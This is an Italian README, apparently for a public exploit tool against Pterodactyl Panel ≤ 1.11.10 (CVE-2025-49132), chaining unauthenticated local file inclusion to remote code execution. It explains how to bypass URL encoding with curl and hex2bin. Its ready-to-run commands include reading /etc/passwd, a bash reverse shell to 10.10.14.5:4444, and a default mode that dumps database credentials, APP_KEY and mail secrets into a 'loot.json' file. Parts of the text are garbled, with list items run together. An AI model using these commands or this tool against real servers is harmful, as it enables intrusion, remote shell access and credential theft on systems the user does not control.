
Exploit per Pterodactyl Panel ≤ 1.11.10 - LFI non autenticato a RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit per Pterodactyl Panel ≤ 1.11.10 - da LFI non autenticata a RCE.
L'endpoint /locales/locale.json accetta i parametri locale e namespace che vengono passati direttamente a include() di PHP senza sanitizzazione o autenticazione. Il parametro hash, pensato per prevenire abusi, non viene mai applicato nelle versioni non aggiornate.
Ciò consente:
.php (credenziali database, APP_KEY, mail, sessione…)pearcmd.php (trucco register_argc_argv + config-create), catene di filtri PHP o deserializzazione di Laravel con l'APP_KEY divulgataVersioni interessate: Pterodactyl Panel ≤ 1.11.10 Corretta in: 1.11.11
I PoC originali usano Python requests per inviare il payload pearcmd. Il problema: requests codifica silenziosamente nell'URL caratteri come <, >, {, } - il che rompe i tag PHP (<?=system(...)?>) incorporati nell'URL.
Questo exploit risolve il problema con due modifiche chiave:
curl per lo Stage 1 - La richiesta di creazione del payload usa curl -g (globoff) tramite subprocess, bypassando completamente la codifica URL di Python.hex2bin() per la codifica dei comandi - Invece di iniettare il comando grezzo (che si rompe con spazi e caratteri speciali), il comando viene codificato in esadecimale e decodificato lato server con system(hex2bin('...')). L'esadecimale usa solo 0-9a-f - niente +, niente =, niente &, niente spazi. Ciò significa che qualsiasi comando funziona, incluse le reverse shell con >& e /dev/tcp/.pip install requests
Opzionale (per i metodi RCE con filter chain / deserializzazione):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
--pear-dir| Distribuzione | Percorso |
|---|
Quando viene eseguito senza --rce-cmd / --rce-filter / --rce-d, l'exploit esegue un'estrazione completa della configurazione:
/etc/passwd, hostname, versione del kernelUn report JSON completo viene salvato in loot.json (o in un percorso personalizzato tramite -o).
Questo exploit è un miglioramento basato sul PoC di GRodolphe/CVE-2025-49132_poc, a sua volta ispirato al PoC originale di 0xtensho/CVE-2025-49132-poc.
| Opzione | Descrizione |
|---|
target | URL del target (es. http://panel.pterodactyl.fr) |
--rce-cmd CMD | Esegue CMD tramite pearcmd (supporta qualsiasi comando, incluse le reverse shell) |
--rce-filter CMD | Esegue CMD tramite catena di filtri PHP |
--filter-chain CHAIN | Usa una catena php://filter pregenerata (con --rce-filter) |
--rce-d CMD | Esegue CMD tramite deserializzazione di Laravel |
--pear-dir PATH | Percorso della directory di pearcmd.php (predefinito: /usr/share/php) |
--timeout N | Timeout delle richieste in secondi (predefinito: 10) |
--verify-ssl | Abilita la verifica del certificato SSL (disabilitata per impostazione predefinita) |
-o FILE | File del report di output (predefinito: loot.json) |
| Debian / Ubuntu | /usr/share/php (predefinito) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 o /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |